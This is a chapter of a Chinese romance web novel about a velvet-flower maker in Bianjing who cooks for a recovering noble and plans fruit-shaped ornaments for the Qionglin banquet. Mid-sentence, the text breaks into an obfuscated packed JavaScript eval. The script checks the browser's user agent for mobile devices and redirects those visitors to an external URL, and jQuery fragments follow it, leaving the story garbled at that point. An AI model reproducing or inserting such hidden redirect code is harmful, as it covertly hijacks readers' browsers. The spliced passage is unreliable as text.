28.第二十八章 陶泥果子
作品:《我在汴京做绒花》 凌肃立刻抬头看她:“你保证?”
常春努力让自己的表情十分诚恳:“是的,我保证。这些时日相处下来,我觉得凌大人并不像之前我以为的那样冷血无情性格古怪,当个朋友还是没问题的。”
凌肃自动忽略了前面那些他不爱听的,只对最末一句若有所思:“像宋时琛那样的?”
常春纳闷他为何突然提起宋时琛,只得含糊应了一声:“啊,差不多吧。”
却见凌肃立即伸手抓住她的衣袖,道:“那我想吃那天我在蒋检阅茶肆看到的,春娘做的火腿鸡丝汤饼。”
这人还点上菜了嘿!
常春低下头,只看见青年黑色的发顶和纤长舒朗的睫毛,以及拽住她衣袖的、因为消瘦而越发骨节分明的手指。
她的心莫名软了软,终于有了点耐心:“鸡丝可以,清淡好克化些,火腿不行。”
凌肃委屈抬眸:“为何我的就要少一样?”
常春无奈笑道:“你已经三天没吃过东西了,现在吃油腻腻的火腿的话,”她瞥了一眼被褥下,“现在吃的话,就做好出不了茅房的准备吧。”
凌肃自小炊金馔玉,餐花饮泉,何曾听过此等粗野言论,顿时涨红了脸,一口气上不来下不去,卡在喉间被呛得连连咳嗽。
他气急羞极,索性一扯被子盖住了头,再也不肯说话了。
常春难得见他如此窘态,好生解气地放声大笑,愉悦地甩下两个字:“等着!”
旋身去了厨房。
片刻后,一碗热气腾腾的汤饼被放在了凌肃面前的小案上。
鸡汤金黄,鸡丝白嫩,几棵碧绿的豆苗卧在顶部,浓醇汤底里面玉白的汤饼若隐若现,溢出一股清淡鲜美的香味。
凌肃方才并未骗她,连日高烧令他身心都像被抽干了水分,变得蔫巴巴的,一碗接一碗的汤药更是让他毫无食欲,平常惯喝的粥水也变得寡淡无味起来。
他是真的不想吃任何东西。
此刻这碗汤饼才算唤回了些许他身体的求生欲,他拿起筷子,挑起一根豆苗。
常春活是干了,嘴巴还不饶人:“国公世子身份是不一样哈,想点菜就点菜。不像我,换药还得兼做厨娘,唉,小姐的身子,丫鬟的命啊……”
凌肃的脸在汤饼的热气蒸腾下恢复了一些血色,此刻执着筷子由下至上望她:“那把剪刀的材质是天山寒铁。”
常春顿住。
凌肃面无表情接着道:“皇后娘娘特意赐给我锻造长刀的。”
常春面露心虚。
凌肃挑起一筷子汤饼,吹了吹热气,慢条斯理道:“精选七七四十九名能工巧匠锻造了八八六十四天而成。”
常春要给他跪了:“世子大人,您还想用点啥,小的马上就去给您做。”
世子大人满意地笑了:“暂时没有了,不过以后我如果还想吃的话……”
金银珠宝还好说,常春必要时也可cos一番不为五斗米折腰。
可那把顶级绝品龙花剪,寒光湛湛的刃口,流畅优美的剪身,以及剪绒时丝滑无比的手感,想起来都足以令她在此刻忍气吞声,这难道就是吃人嘴软、拿人手短的感觉吗?
她忍气吞声笑得十分谄媚:“想吃您随时吩咐,小的有时间一定给您做。”
凌肃忽略了她故意埋在话里的‘有时间才做’的小把戏,执着白瓷勺喝一口汤,笑容里别有一番意味:“既然春娘如此盛情难却,那凌某就勉为其难,承了春娘这份情了。”
出了国公府大门许久,吃瘪的感觉还在心头挥之不去。
我就知道温顺小绵羊只是暂时的,病才稍微好了一点,就立马恢复了大尾巴狼的本来面目!常春恨恨地想,脚步迈得更急了。
近期春天的花做了许多,不光戴的人审美疲劳,连做的人也审美疲劳了,因此销量并不如以前,令常春有些头秃。
今日因着时辰尚早,她婉拒了国公府要送她回小院的马车,决定去逛逛琼林苑外的花市,找找创作灵感。
行至琼林苑外,恰逢春深,各色草木花朵正盛,可看来看去,始终无甚新意。常春转过集市拐角,蓦地眼前一亮。
眼前是个生果摊子,撑着大匹深青绸伞,伞下整整齐齐堆着珊瑚珠般的樱桃、黄玉般的李子,还有一见便让人忍不住口津潜溢的青杏,以及带着点点星斑,酸甜可口的林檎。
做了那么久的花,何不做些果子呢,春果娇嫩,簪上小娘子们的鬓边,岂不是别有一番风景?
常春上前,将各色果子都挑了些,装了满满一小筐。正要摸荷包,却见旁边一只手已举着钱递了过去。
“付这位娘子的果子钱。”宋时琛眉眼温和,笑看着常春。
常春也不同他客气,将草筐举了举:“那便谢过宋郎君啦。”
她同宋时琛缓缓漫步在葱茏花木间,互相分吃着一把樱桃。
常春道:“宋郎君今日怎么有空来此,不温书了吗?”
话音刚落她便懊恼地一拍自己的头:“都怪我这记性,我竟忘了你殿试都已过了。”
宋时琛笑得温柔:“无妨,我知道常娘子前段时间很忙……”
话未说完却被她凑上前来,神秘兮兮地问:“如何,有没有一甲的希望?”
宋时琛窘了一下,握拳抵在唇边咳了一声,老老实实道:“宋某不才,一甲是半点希望也无,二甲倒还可盼望一点。”
他说着去觑常春的神色,却见常春眼放精光:“真的吗,那也很厉害了!苟富贵,勿相忘啊宋大人!”
宋时琛脸上“唰”地浮上一层血色,连连摆手:“还没放榜呢,结果还未可知,哪里就至于到什么大人不大人的地步了。”
想了想,他又道:“说起状元之才,还得是凌大人,虽生于公侯之家,却半点未有骄娇二气,年纪轻轻便被官家钦点了一甲头名,这才叫惊才绝艳呢。”
语气羡慕中又带着点佩服。
常春一听到那个名字就一个头两个大,忙道:“你也知道凌肃生于公侯之家,必定从小便是名师巨儒倾囊相授,孤本典籍应有尽有,所享受的教育资源又岂非常人可比。他站在前人的肩膀上摘桃子,当然要比你容易百倍千倍啦!”
说着她话锋一转:“虽然宋郎君未有那样的显赫出身,却同样凭着自己的努力和坚持,和他站在了同一个起点,相比之下,我反倒更佩服宋郎君呢!”
两人一边说着,一边并肩行过一家兰花铺子,一名头梳双鬟的婢女闻言往这边看了看,又低下头去拨弄着一盆春兰的箭枝。
宋时琛转过脸看着常春。
她边吃着樱桃边喋喋不休,还得抽空吐核儿,嘴角边沾着一点红艳艳的樱桃汁水,和同窗们爱看爱画的娴静仕女图可以说是半点沾不上边。
可他觉得她很美。
“是吗?”他柔和地笑着,自袖中摸出手绢,却并不直接上手替她擦,而是递给她,又对她指了指自己的嘴角。
常春会意,边擦边还不忘继续给他鼓劲儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948110|191969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“所以,宋郎君,你已经是天之骄子了,就别再望洋兴叹啦,以后我等市井小民,还要多仰仗大人照顾呢!”
宋时琛终于笑出了声:“好好好,既然常娘子对我这般有信心,那我又何妨厚颜受之?——对了,我刚刚才打听到,七日后便是在此处揭榜,常娘子来不来开你押的宝?”
常春眼睛亮了:“琼林宴?”
作为应试教育中摸爬滚打出来的常春,对这个典故可太熟了。纵观古今,不向往琼林宴的读书人怕是寥寥无几吧。
宋时琛点头:“正是。”
他又追问了一句:“可要来?”
常春狡黠一笑:“来,怎么不来?我刚刚才想到一个绝妙的主意呢!”
琼林宴,御街行,打马簪花。
都是簪花,为何不能簪她的长春绒花呢?
可是她想做的果子花样,虽外形精巧,相应的修绒也极其不易,稍不注意就会变成废绒条。
……七天时间,纵是常春和云雀火力全开,怕也做不了多少支。
常春思及此,顿时感觉时间紧迫起来,拜别了宋时琛匆匆而去。
经过王木匠的隔壁时,她却停了下来。
常春眼睛一亮,她依稀记起来,这儿好像有个捏泥人的……
所以说当初选择住在南斜后街还有一重好处,便是此处各行各业的手艺人极多,她想要找点小配件也极为容易,当初托金枝做的檀木花窗等便是同样的道理。
若是将原本准备用绒条来做的果子,换成软陶土的,既节约了工时,果子的精致逼真程度也能上几个台阶。
常春抬手毫不犹豫地敲响了木门。
“吱呀”一声,门开了条缝,探出个小男孩脑袋,扎着一根朝天辫儿,眼珠子骨碌碌打量了常春几眼:“你找谁?”
常春看着他,这小孩儿,比云雀还要小两三岁的样子,谈吐却已十分老成,她也并不拿他当小孩儿待:“小哥,我来找你家爷爷,烦他替我做些陶土小玩意儿。”
那小孩儿见是个笑盈盈的和气女子,听完来意便将木门全打开了:“进来吧。”
另一边,国公府。
麦冬将一盆花箭娇嫩的兰草放上凌肃桌案边的檀木花架,看了看他掩口笑道:“郎君,婢子今日去琼林苑外花市为您挑选兰草时,倒听到了几句极有意思的话呢……”
麦冬是四个婢女中年龄最小生得最好的,因此惯受大家喜爱,养成了个活活泼泼口无遮拦的样子。
此时她见凌肃抬眉望来,似有聆听之意,当即便将花市中常春与宋时琛的对话鹦鹉学舌了一通。
讲到那常娘子同她身边的男子说,她更佩服同样凭着自己的努力,和凌肃站在了同一个起点的宋郎君时,麦冬终是忍不住笑意:“这常娘子,瞧着是个机灵人儿,怎地好赖都不分,咱家郎君,是随便哪来的阿猫阿狗能比的么?”
身后的秋荻忍不住拉了拉麦冬的手,拼命以眼神示意。
麦冬还待再说,见状也朝凌肃的脸上看去,一见之下顿时心惊肉跳,忙不迭跪下道:“世子息怒,是婢子口无遮拦,婢子不敢了!”
只见凌肃脸色满面阴云,抿着唇一言不发。良久,他冷冷一笑:“好,好得很!”
这常春,当面同他小意奉承,哄得他心花怒放,转过身便将他说得一钱不值,好,真是好得很!
他将手中书册恨恨一砸,书脊侧边的封装线登时根根断裂,飞起漫天字纸,落在跪了一地的婢女之中。

